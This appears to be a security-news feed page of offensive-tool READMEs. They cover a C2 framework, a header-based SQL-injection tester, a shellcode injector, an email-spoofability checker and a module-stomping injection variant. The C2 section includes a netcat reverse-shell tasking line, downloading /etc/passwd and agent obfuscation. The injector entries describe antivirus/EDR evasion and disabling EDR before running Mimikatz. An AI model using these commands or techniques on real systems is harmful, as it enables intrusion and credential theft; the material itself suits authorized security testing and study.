And last the agent. For the python case agent you can just run it but in the case of the C agent you need to compile it first.

# python agent
python3 agent.py

# C agent
gcc agent.c -o agent -lcurl -lb64
./agent

By default both the Agents and the server are running over TLS and base64. The communication point is set to 127.0.0.1:5000 and in case a different point is needed it should be changed in Agents source files.

As the Operator/Administrator you can use the following commands to control your agents

Commands:

task add arg c2-commands
Add a task to an agent, to a group or on all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
c2-commands: possible values are c2-register c2-shell c2-sleep c2-quit
c2-register: Triggers the agent to register again.
c2-shell cmd: It takes an shell command for the agent to execute. eg. c2-shell whoami
cmd: The command to execute.
c2-sleep: Configure the interval that an agent will check for tasks.
c2-session port: Instructs the agent to open a shell session with the server to this port.
port: The port to connect to. If it is not provided it defaults to 5555.
c2-quit: Forces an agent to quit.

task delete arg
Delete a task from an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show agent arg
Displays inf o for all the availiable agents or for specific agent.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show task arg
Displays the task of an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show result arg
Displays the history/result of an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
find active agents
Drops the database so that the active agents will be registered again.

exit
Bye Bye!


Sessions:

sessions server arg [port]
Controls a session handler.
arg: can have the following values: 'start' , 'stop' 'status'
port: port is optional for the start arg and if it is not provided it defaults to 5555. This argument defines the port of the sessions server
sessions select arg
Select in which session to attach.
arg: the index from the 'sessions list' result
sessions close arg
Close a session.
arg: the index from the 'sessions list' result
sessions list
Displays the availiable sessions
local-ls directory
Lists on your host the files on the selected directory
download 'file'
Downloads the 'file' locally on the current directory
upload 'file'
Uploads a file in the directory where the agent currently is

Special attention should be given to the 'find active agents' command. This command deletes all the tables and creates them again. It might sound scary but it is not, at least that is what i believe :P

The idea behind this functionality is that the c2 server can request from an agent to re-register at the case that it doesn't recognize him. So, since we want to clear the db from unused old entries and at the same time find all the currently active hosts we can drop the tables and trigger the re-register mechanism of the c2 server. See below for the re-registration mechanism.

Flows

Below you can find a normal flow diagram

Normal Flow

In case where the environment experiences a major failure like a corrupted database or some other critical failure the re-registration mechanism is enabled so we don't lose our connection with our agents.

More specifically, in case where we lose the database we will not have any information about the uuids that we are receiving thus we can't set tasks on them etc... So, the agents will keep trying to retrieve their tasks and since we don't recognize them we will ask them to register again so we can insert them in our database and we can control them again.

Below is the flow diagram for this case.

Re-register Flow

Useful examples

To setup your environment start the admin.py first and then the c2_server.py and run the agent. After you can check the availiable agents.

# show all availiable agents
show agent all

To instruct all the agents to run the command "id" you can do it like this:

To check the history/ previous results of executed tasks for a specific agent do it like this:
# check the results of a specific agent
show result 85913eb1245d40eb96cf53eaf0b1e241

You can also change the interval of the agents that checks for tasks to 30 seconds like this:

# to set it for all agents
task add all c2-sleep 30

To open a session with one or more of your agents do the following.

# find the agent/uuid
show agent all

# enable the server to accept connections
sessions server start 5555

# add a task for a session to your prefered agent
task add your_prefered_agent_uuid_here c2-session 5555

# display a list of available connections
sessions list

# select to attach to one of the sessions, lets select 0
sessions select 0

# run a command
id

# download the passwd file locally
download /etc/passwd

# list your files locally to check that passwd was created
local-ls

# upload a file (test.txt) in the directory where the agent is
upload test.txt

# return to the main cli
go back

# check if the server is running
sessions server status

# stop the sessions server
sessions server stop

If for some reason you want to run another external session like with netcat or metaspolit do the following.

# show all availiable agents
show agent all

# first open a netcat on your machine
nc -vnlp 4444

# add a task to open a reverse shell for a specific agent
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

This way you will have a 'die hard' shell that even if you get disconnected it will get back up immediately. Only the interactive commands will make it die permanently.

Obfuscation

The python Agent offers obfuscation using a basic AES ECB encryption and base64 encoding

Edit the obfuscator.py file and change the 'key' value to a 16 char length key in order to create a custom payload. The output of the new agent can be found in Agents/obs_agent.py

You can run it like this:

python3 obfuscator.py

# and to run the agent, do as usual
python3 obs_agent.py

Tips &Tricks

  1. The build-in flask app server can't handle multiple/concurrent requests. So, you can use the gunicorn server for better performance like this:
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 
  1. Create a binary file for your python agent like this
pip install pyinstaller
pyinstaller --onefile agent.py

The binary can be found under the dist directory.

In case something fails you may need to update your python and pip libs. If it continues failing then ..well.. life happened

  1. Create new certs in each engagement

  2. Backup your c2.db, it is easy... just a file

Testing

pytest was used for the testing. You can run the tests like this:

cd tests/
py.test

Be careful: You must run the tests inside the tests directory otherwise your c2.db will be overwritten and you will lose your data

To check the code coverage and produce a nice html report you can use this:

# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html

Disclaimer: This tool is only intended to be a proof of concept demonstration tool for authorized security testing. Running this tool against hosts that you do not have explicit permission to test is illegal. You are responsible for any trouble you may cause by using this tool.



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Unleashing the Power of the Internet of Things and Cyber Security

By: The Hacker News β€” October 20th 2023 at 11:38
Due to the rapid evolution of technology, the Internet of Things (IoT) is changing the way business is conducted around the world. This advancement and the power of the IoT have been nothing short of transformational in making data-driven decisions, accelerating efficiencies, and streamlining operations to meet the demands of a competitive global marketplace. IoT At a Crossroads IoT, in its most
☐ β˜† βœ‡ The Hacker News

Vulnerability Scanning: How Often Should I Scan?

By: The Hacker News β€” October 19th 2023 at 11:48
The time between a vulnerability being discovered and hackers exploiting it is narrower than ever – just 12 days. So it makes sense that organizations are starting to recognize the importance of not leaving long gaps between their scans, and the term "continuous vulnerability scanning" is becoming more popular. Hackers won’t wait for your next scan One-off scans can be a simple β€˜one-and-done'
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HBSQLI - Automated Tool For Testing Header Based Blind SQL Injection

By: Zion3R β€” October 15th 2023 at 00:31


HBSQLI is an automated command-line tool for performing Header Based Blind SQL injection attacks on web applications. It automates the process of detecting Header Based Blind SQL injection vulnerabilities, making it easier for security researchers , penetration testers & bug bounty hunters to test the security of web applications.Β 


Disclaimer:

This tool is intended for authorized penetration testing and security assessment purposes only. Any unauthorized or malicious use of this tool is strictly prohibited and may result in legal action.

The authors and contributors of this tool do not take any responsibility for any damage, legal issues, or other consequences caused by the misuse of this tool. The use of this tool is solely at the user's own risk.

Users are responsible for complying with all applicable laws and regulations regarding the use of this tool, including but not limited to, obtaining all necessary permissions and consents before conducting any testing or assessment.

By using this tool, users acknowledge and accept these terms and conditions and agree to use this tool in accordance with all applicable laws and regulations.

Installation

Install HBSQLI with following steps:

$ git clone https://github.com/SAPT01/HBSQLI.git
$ cd HBSQLI
$ pip3 install -r requirements.txt

Usage/Examples

usage: hbsqli.py [-h] [-l LIST] [-u URL] -p PAYLOADS -H HEADERS [-v]

options:
-h, --help show this help message and exit
-l LIST, --list LIST To provide list of urls as an input
-u URL, --url URL To provide single url as an input
-p PAYLOADS, --payloads PAYLOADS
To provide payload file having Blind SQL Payloads with delay of 30 sec
-H HEADERS, --headers HEADERS
To provide header file having HTTP Headers which are to be injected
-v, --verbose Run on verbose mode

For Single URL:

$ python3 hbsqli.py -u "https://target.com" -p payloads.txt -H headers.txt -v

For List of URLs:

$ python3 hbsqli.py -l urls.txt -p payloads.txt -H headers.txt -v

Modes

There are basically two modes in this, verbose which will show you all the process which is happening and show your the status of each test done and non-verbose, which will just print the vulnerable ones on the screen. To initiate the verbose mode just add -v in your command

Notes

  • You can use the provided payload file or use a custom payload file, just remember that delay in each payload in the payload file should be set to 30 seconds.

  • You can use the provided headers file or even some more custom header in that file itself according to your need.

Demo



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RecycledInjector - Native Syscalls Shellcode Injector

By: Zion3R β€” October 12th 2023 at 18:55


(Currently) Fully Undetected same-process native/.NET assembly shellcode injector based on RecycledGate by thefLink, which is also based on HellsGate + HalosGate + TartarusGate to ensure undetectable native syscalls even if one technique fails.

To remain stealthy and keep entropy on the final executable low, do ensure that shellcode is always loaded externally since most AV/EDRs won't check for signatures on non-executable or DLL files anyway.

Important to also note that the fully undetected part refers to the loading of the shellcode, however, the shellcode will still be subject to behavior monotoring, thus make sure the loaded executable also makes use of defense evasion techniques (e.g., SharpKatz which features DInvoke instead of Mimikatz).


Usage

.\RecycledInjector.exe <path_to_shellcode_file>

Proof of Concept

This proof of concept leverages Terminator by ZeroMemoryEx to kill most security solution/agents present on the system. It is used against Microsoft Defender for Endpoint EDR.

On the left we inject the Terminator shellcode to load the vulnerable driver and kill MDE processes, and on the right is an example of loading and executing Invoke-Mimikatz remotely from memory, which is not stopped as there is no running security solution anymore on the system.



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Spoofy - Program That Checks If A List Of Domains Can Be Spoofed Based On SPF And DMARC Records

By: Zion3R β€” October 11th 2023 at 18:26



Spoofy is a program that checks if a list of domains can be spoofed based on SPF and DMARC records. You may be asking, "Why do we need another tool that can check if a domain can be spoofed?"

Well, Spoofy is different and here is why:

  1. Authoritative lookups on all lookups with known fallback (Cloudflare DNS)
  2. Accurate bulk lookups
  3. Custom, manually tested spoof logic (No guessing or speculating, real world test results)
  4. SPF lookup counter

Β 

HOW TO USE

Spoofy requires Python 3+. Python 2 is not supported. Usage is shown below:

Usage:
./spoofy.py -d [DOMAIN] -o [stdout or xls]
OR
./spoofy.py -iL [DOMAIN_LIST] -o [stdout or xls]

Install Dependencies:
pip3 install -r requirements.txt

HOW DO YOU KNOW ITS SPOOFABLE

(The spoofability table lists every combination of SPF and DMARC configurations that impact deliverability to the inbox, except for DKIM modifiers.) Download Here

METHODOLOGY

The creation of the spoofability table involved listing every relevant SPF and DMARC configuration, combining them, and then conducting SPF and DMARC information collection using an early version of Spoofy on a large number of US government domains. Testing if an SPF and DMARC combination was spoofable or not was done using the email security pentesting suite at emailspooftest using Microsoft 365. However, the initial testing was conducted using Protonmail and Gmail, but these services were found to utilize reverse lookup checks that affected the results, particularly for subdomain spoof testing. As a result, Microsoft 365 was used for the testing, as it offered greater control over the handling of mail.

After the initial testing using Microsoft 365, some combinations were retested using Protonmail and Gmail due to the differences in their handling of banners in emails. Protonmail and Gmail can place spoofed mail in the inbox with a banner or in spam without a banner, leading to some SPF and DMARC combinations being reported as "Mailbox Dependent" when using Spoofy. In contrast, Microsoft 365 places both conditions in spam. The testing and data collection process took several days to complete, after which a good master table was compiled and used as the basis for the Spoofy spoofability logic.

DISCLAIMER

This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software.

CREDIT

Lead / Only programmer & spoofability logic comprehension upgrades & lookup resiliency system / fix (main issue with other tools) & multithreading & feature additions: Matt Keeley

DMARC, SPF, DNS insights & Spoofability table creation/confirmation/testing & application accuracy/quality assurance: calamity.email / eman-ekaf

Logo: cobracode

Tool was inspired by Bishop Fox's project called spoofcheck.



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ModuleShifting - Stealthier Variation Of Module Stomping And Module Overloading Injection Techniques That Reduces Memory IoCs

By: Zion3R β€” October 4th 2023 at 11:30


ModuleShifting is stealthier variation of Module Stomping and Module overloading injection technique. It is actually implemented in Python ctypes so that it can be executed fully in memory via a Python interpreter and Pyramid, thus avoiding the usage of compiled loaders.

The technique can be used with PE or shellcode payloads, however, the stealthier variation is to be used with shellcode payloads that need to be functionally independent from the final payload that the shellcode is loading.


ModuleShifting, when used with shellcode payload, is performing the following operations:

  1. Legitimate hosting dll is loaded via LoadLibrary
  2. Change the memory permissions of a specified section to RW
  3. Overwrite shellcode over the target section
  4. add optional padding to better blend into false positive behaviour (more information here)
  5. Change permissions to RX
  6. Execute shellcode via function pointer - additional execution methods: function callback or CreateThread API
  7. Write original dll content over the executed shellcode - this step avoids leaving a malicious memory artifact on the image memory space of the hosting dll. The shellcode needs to be functionally independent from further stages otherwise execution will break.

When using a PE payload, ModuleShifting will perform the following operation:

  1. Legitimate hosting dll is loaded via LoadLibrary
  2. Change the memory permissions of a specified section to RW
  3. copy the PE over the specified target point section-by-section
  4. add optional padding to better blend into false positive behaviour
  5. perform base relocation
  6. resolve imports
  7. finalize section by setting permissions to their native values (avoids the creation of RWX memory region)
  8. TLS callbacks execution
  9. Executing PE entrypoint

Why it's useful

ModuleShifting can be used to inject a payload without dynamically allocating memory (i.e. VirtualAlloc) and compared to Module Stomping and Module Overloading is stealthier because it decreases the amount of IoCs generated by the injection technique itself.

There are 3 main differences between Module Shifting and some public implementations of Module stomping (one from Bobby Cooke and WithSecure)

  1. Padding: when writing shellcode or PE, you can use padding to better blend into common False Positive behaviour (such as third-party applications or .net dlls writing x amount of bytes over their .text section).
  2. Shellcode execution using function pointer. This helps in avoid a new thread creation or calling unusual function callbacks.
  3. restoring of original dll content over the executed shellcode. This is a key difference.

The differences between Module Shifting and Module Overloading are the following:

  1. The PE can be written starting from a specified section instead of starting from the PE of the hosting dll. Once the target section is chosen carefully, this can reduce the amount of IoCs generated (i.e. PE header of the hosting dll is not overwritten or less bytes overwritten on .text section etc.)
  2. Padding that can be added to the PE payload itself to better blend into false positives.

Using a functionally independent shellcode payload such as an AceLdr Beacon Stageless shellcode payload, ModuleShifting is able to locally inject without dynamically allocating memory and at the moment generating zero IoC on a Moneta and PE-Sieve scan. I am aware that the AceLdr sleeping payloads can be caught with other great tools such as Hunt-Sleeping-Beacon, but the focus here is on the injection technique itself, not on the payload. In our case what is enabling more stealthiness in the injection is the shellcode functional independence, so that the written malicious bytes can be restored to its original content, effectively erasing the traces of the injection.

Disclaimer

All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.

Credits

This work has been made possible because of the knowledge and tools shared by incredible people like Aleksandra Doniec @hasherezade, Forest Orr and Kyle Avery. I heavily used Moneta, PeSieve, PE-Bear and AceLdr throughout all my learning process and they have been key for my understanding of this topic.

Usage

ModuleShifting can be used with Pyramid and a Python interpreter to execute the local process injection fully in-memory, avoiding compiled loaders.

  1. Clone the Pyramid repo:

git clone https://github.com/naksyn/Pyramid

  1. Generate a shellcode payload with your preferred C2 and drop it into Pyramid Delivery_files folder. See Caveats section for payload requirements.
  2. modify the parameters of moduleshifting.py script inside Pyramid Modules folder.
  3. Start the Pyramid server: python3 pyramid.py -u testuser -pass testpass -p 443 -enc chacha20 -passenc superpass -generate -server 192.168.1.2 -setcradle moduleshifting.py
  4. execute the generated cradle code on a python interpreter.

Caveats

To successfully execute this technique you should use a shellcode payload that is capable of loading an additional self-sustainable payload in another area of memory. ModuleShifting has been tested with AceLdr payload, which is capable of loading an entire copy of Beacon on the heap, so breaking the functional dependency with the initial shellcode. This technique would work with any shellcode payload that has similar capabilities. So the initial shellcode becomes useless once executed and there's no reason to keep it in memory as an IoC.

A hosting dll with enough space for the shellcode on the targeted section should also be chosen, otherwise the technique will fail.

Detection opportunities

Module Stomping and Module Shifting need to write shellcode on a legitimate dll memory space. ModuleShifting will eliminate this IoC after the cleanup phase but indicators could be spotted by scanners with realtime inspection capabilities.



☐ β˜† βœ‡ The Hacker News

APIs: Unveiling the Silent Killer of Cyber Security Risk Across Industries

By: The Hacker News β€” October 2nd 2023 at 11:21
Introduction In today's interconnected digital ecosystem, Application Programming Interfaces (APIs) play a pivotal role in enabling seamless communication and data exchange between various software applications and systems. APIs act as bridges, facilitating the sharing of information and functionalities. However, as the use of APIs continues to rise, they have become an increasingly attractive
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Essential Guide to Cybersecurity Compliance

By: The Hacker News β€” September 26th 2023 at 11:50
SOC 2, ISO, HIPAA, Cyber Essentials – all the security frameworks and certifications today are an acronym soup that can make even a compliance expert’s head spin. If you’re embarking on your compliance journey, read on to discover the differences between standards, which is best for your business, and how vulnerability management can aid compliance. What is cybersecurity compliance?
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How to Prevent API Breaches: A Guide to Robust Security

By: The Hacker News β€” September 11th 2023 at 11:11
With the growing reliance on web applications and digital platforms, the use of application programming interfaces (APIs) has become increasingly popular. If you aren’t familiar with the term, APIs allow applications to communicate with each other and they play a vital role in modern software development. However, the rise of API use has also led to an increase in the number of API breaches.
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Protecting Your Microsoft IIS Servers Against Malware Attacks

By: The Hacker News β€” September 8th 2023 at 11:27
Microsoft Internet Information Services (IIS) is a web server software package designed for Windows Server. Organizations commonly use Microsoft IIS servers to host websites, files, and other content on the web. Threat actors increasingly target these Internet-facing resources as low-hanging fruit for finding and exploiting vulnerabilities that facilitate access to IT environments.Β  Recently, a
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